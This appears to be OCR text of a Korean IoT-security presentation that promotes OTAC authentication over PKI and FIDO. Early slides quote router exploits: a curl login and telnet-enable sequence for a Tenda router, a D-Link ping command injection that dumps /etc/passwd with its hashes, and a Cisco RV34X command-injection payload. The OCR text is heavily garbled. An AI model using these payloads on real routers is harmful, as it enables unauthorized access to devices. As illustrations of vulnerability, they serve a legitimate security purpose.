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* 10T7|= Challenges

— developers who are rushing loT products that are not properly secured
companies that will not benefit from loT from lack of data science specialists
loT products on the market that are vulnerable to attacks
Americans who never update their irmware

rural areas that lack reliable connection or any connectivity

https://financesonline.com/iot-trends/ SSEﬂSt.ne
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- SQL Injection

- XSS
- Path traversal
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https://www.exploit-db.com/exploits/15666

CHAF : D-Link Router
CVE : CVE-2020-15896
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1. 2E0IA =

-—data—-binary
'username=admin&password=2a3ffeeda250174eaeba880553e0dfd4' —-url

'http://192.168.0.1/login/Auth'| grep Set-Cookie | cut -d\= -f2 | cut -d\; -f1)
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ZZuE
3. Telnet A{H|A On

-H 'Connection: close' =-url 'http://192.168.0.1/goform/telnet'; echo -e
"\n\nSuccess!"; telnet 192.168.0.1; fi

https://github.com/cecada/Tenda-AC6-Root-Acces/blob/main/README.md

CHAF : Tenda AC1200
CVE : CVE-2020-28093
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y telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '7]°'.
dlinkrouter login: admin
Password:
libcl1i test environment

router> ping -c¢ 1 8.8.8.8; cat /etc/passwd ning + ECI>=I%§()-| AFO]

PING 8.8.8.8 (8.8.8.8): 56 data bytes = =

64 bytes from 8.8.8.8: seq=0 ttl=119 time=22.420 ms
admin:$1$ULRr4v9Y$Q6RhdYph2fnaDJSdSHT701:0:0:Adminstrator:/:/bin/sh
nobody:x:1:500:Linux User,,,:/home/nobody:/bin/sh

i

root:x:2:600:Linux User,,,:/home/root:/bin/sh
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{unsanitized ping command format string},
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https://talosintelligence.com/vulnerability_reports/TALOS-2021-1284

CH&F : D-LINK(AC3000)
CVE : CVE-2021-21819
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- HEHO| &IR(2) - AlS
- UDPXEE(9999)E S5t H2i0] alel
- (UDP/127.0.0.1:9999 with the content “+;touch /tmp/test; “)

- QIBEXI20| system B0 AQIE

https://www.iot-inspector.com/blog/advisory-cisco-rv34x-series-
privilege-escalation-vpntimer/

CHAF : Cisco RV34X
CVE : CVE-2021-1520
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Challenges

- Pain points
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Challenges - BE7|HIO| [oTZE2E S

Application Layer Application Layer
Presentation Layer Presentation Layer

Publisher Subscriber

Session Layer Session Layer

Server

%
L)
oy %‘ K
< Transport Layer Transport Layer
Broker

e —~
y’ S, Network Layer
R o & %
Senso.’ l pab//s/’ ; 2 - “ & 5 . -
. 1 Data Link Layer
Mobile Phone

Physical Layer

BAHE HAK[E =4H/2HX 2 HFZS = TLS + MQTT is over TCP
Light-weight protocol | of & 7HE K| 5L}

Network Layer

Data Link Layer
Physical Layer

https://raspberry-valley.azurewebsites.net/CoAP-Getting-Started https://www.wut.de/e-577ww-05-apus-000.php SSEﬂSt.ﬂE
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Challenges - BE7|HIO| [oTZE2E S

CoAP | CoAP + DTLS

et [ —— (s "
/ *
T Cookie

Client Hello + Cookie > Server Hello

C“ent } Key Share
- Certificate
Certificate Certificate Request
Key share server Hello Done
¢ Certificate Verify >

Change cipher spec

Finished

| Server | . > | Client \ b cehe
Request >
*

- Change cipher spec

DTLS = TLS + CoAP is over UDP
C] O] &F 718 K| 2L}
SSenStene

Simple & Sensible Stone

https://raspberry-valley.azurewebsites.net/CoAP-Getting-Started https://blog.cloudflare.com/why-iot-is-insecure/



Challenges - VPN 2! PKISEM 0]
01212 loT MH|ZAIH=E EX]

TLS 1.3

Client Hello
Supported cipher suites

" Client Hello
Server Hello
Supported AEAD |/ groups / >
signatures
Key share

- Chosen cipher suite
Key share
Certificate + Signature

Server Hello

Chosen AEAD
< Key share

Key Share + Finished > Certificate + sign:
i + signature
. Finished Finished
HTTP POST > < HTTP Answer
+ HTTP Answer

')

Round trip 2. = QIS it E R H/SEH= Round trip 1’3 = Z| A2k TLS1.3,
QPH= 20| M =Latency /| 2/ oL} 0] T 5] x.509 certificateS A8 ol= ST X
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OTAC
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How OTAC works(S S 1}7d)

1. OTAC SDK Integration
| |
i i
i i
i i
! :
1. Registration request{User ID) i
ﬂ - Call REST APRI
»
_
" Return a secret Key, UID and chier information o
1. Encrypt and store the information
- Call OTAC SDK API

1. Store User |D
2. Create and store a secret Key
3. Create and store an UID and other Information

How FIDO works(S S 1}7d)

User device Relying party
FIDO client User agent Web FIDO
(i0S, Android) (app, browser) app server
Initiate registration
@ >
Registration request + policy
< 2
o Registration response >
+ attestation + user's public key
T Validate
response &

FIDO
authenticators

o)

@ Enroll user & generate new key pair
4 (specific to RP WebApp)

attestation,
store user's
public key

https://www.movenda.com/en/authentication/fido-uaf/technical-overview
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How OTAC works(Zd S 1}°d)

APP

1. OTAC SDK Integration
[ Android, 03 )

}________

1. OTAC Key creation
- Call OTAC SDK API

OTAC Key

OTAC Server

| o e e o e + i

F________

31_

. OTAC Key verification
Retrieve a user from DE/File
- Call OTAC C lib AP

How FIDO works(Z S 11}7H)

User device Relying party
FIDO client User agent Web FIDO
(i0S, Android) (app, browser) app server
Initiate authentication
@ >
< Authentication request o

+ challenge + policy

0 Authentication response >
signed by user's private key

L---------------------------------------------

;

Validate
response
FIDO using user's
authenticators public key

0!

@ Verify user & unlock private key
@ (specific to user + RP WebApp)

https://www.movenda.com/en/authentication/fido-uaf/technical-overview
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T2 E% - OTAC/PKI/FIDOH| 1t

Use case PKI FIDO OTAC
Device Logon © © o
Web Client Authentication © © o
Thick Client authentication © © o
Email Encryption and Signing © X X
VPN-IPSec © X X
TLS © X X
EAP-TLS for wireless access © X X
Transaction Authorization © © o
Document Signing © © o
Code Signing © © o
Disk Encryption © X X
Single Sign-On © © o
Trust Establishment © X X
Closed network(Single channel) X X O

SSenstene
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To-Be with OTAC

Select Profile for Log-in

QR Code Scan  BLE Connection Code Enter
: R A

LOGIN SUCCESS ! LOG-IN with OTAC CODE only

(@) ID & PW |
OTP

or

e——

Log-in
Completed
STEP 3
, LOGIN SUCCESS !
OTAC Code or QR T
After ID/PW % % generation in Mobile Log-in
. APP Completed
or
Biometric Auth STEP 1 STEP 2
OTP Generates with BT connected
STEP 2
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& Control center -> < Remote unmanned sites =
_ User HMI Router ( LTE | Router : OTACREO dule) loT Devices
pr ([ ]) P g, — -:+:-.-l
& o = = = N a==
Mobile/™ ™ E_ ¥ 5 —
(OTAC Module)
OTAC Code |
o >
OTAC Code
(2] >
9 Verification
Return result
S il e p—— o
Commands
o >
Commands
o >
Commands
(7] >
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As-Is To-Be with OTAC




Mobile
Al | John
Y - 1 Y )
NFC
H
Mobile  C AcKey
Dynamic
] Random Code
id Generation
_ OTAC :
= | 00001234
@m4 OTAC :
A73H38D3

941 BI49 3ESE 329y B -'.i']
by

DRUC BOOTHE 08/22 S8 swidch [

4

Gate DATA Reader

Device

)
[

OTAC Key
(RF signal)

Gate Data Reader
device

OTAC Key

OTAC :
00001234
OTAC :
A73H38D3

DataBas
e

OTAC -> Authenticate

Access Management
System

Door open
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